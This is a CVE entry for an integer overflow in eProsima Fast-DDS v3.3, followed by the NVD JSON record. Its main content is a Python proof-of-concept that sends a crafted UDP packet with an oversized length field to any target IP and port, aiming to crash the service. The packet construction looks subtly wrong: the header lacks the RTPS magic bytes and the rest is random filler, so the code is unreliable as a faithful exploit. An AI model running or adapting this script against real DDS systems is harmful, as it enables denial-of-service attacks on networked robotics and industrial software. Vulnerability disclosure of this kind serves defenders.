CVE-2025-65865

# CVE-2025-65865 PoC - Integer Overflow in eProsima Fast-DDS v3.3 # This PoC demonstrates sending a crafted DDS sample that triggers integer overflow import socket import struct import random def create_crafted_dds_sample(): """ Create a crafted DDS sample that may trigger integer overflow in Fast-DDS when processing certain length fields """ # DDS Header header = bytearray([ 0x00, 0x01, 0x00, 0x00, # RTPS Header 0x01, 0x00, # Protocol Version 0x00, # Vendor ID ]) # Crafted submessage with oversized length field # This may cause integer overflow in length calculations length_field = 0xFFFFFFF0 # Large value that may overflow submessage = bytearray([ 0x15, # Submessage ID (DATA) 0x00, # Flags ]) # Add length field that could trigger overflow submessage += struct.pack('<I', length_field) # Add additional crafted fields submessage += bytes([random.randint(0, 255) for _ in range(16)]) return bytes(header + submessage) def send_exploit(target_ip, target_port): """ Send the crafted exploit to target Fast-DDS service """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) payload = create_crafted_dds_sample() print(f"[*] Sending crafted packet ({len(payload)} bytes) to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent successfully") print("[*] If vulnerable, the service may crash or become unresponsive") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_exploit(target_ip, target_port)

{"cve": {"id": "CVE-2025-65865", "sourceIdentifier": "[email protected]", "published": "2025-12-23T16:16:22.733", "lastModified": "2026-01-06T15:11:38.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An integer overflow in eProsima Fast-DDS v3.3 allows attackers to cause a Denial of Service (DoS) via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eprosima:fast_dds:3.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "4D268586-02B3-4D07-939A-8FD3F36E2852"}]}]}], "references": [{"url": "http://eprosima.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://fast-dds.com", "source": "[email protected]", "tags": ["Broken Link", "Not Applicable"]}, {"url": "https://gist.github.com/lkloliver/7aa48cb9fc7a1dd74cb595212bb69d33", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/lkloliver/poc/blob/main/Detail.md", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}]}}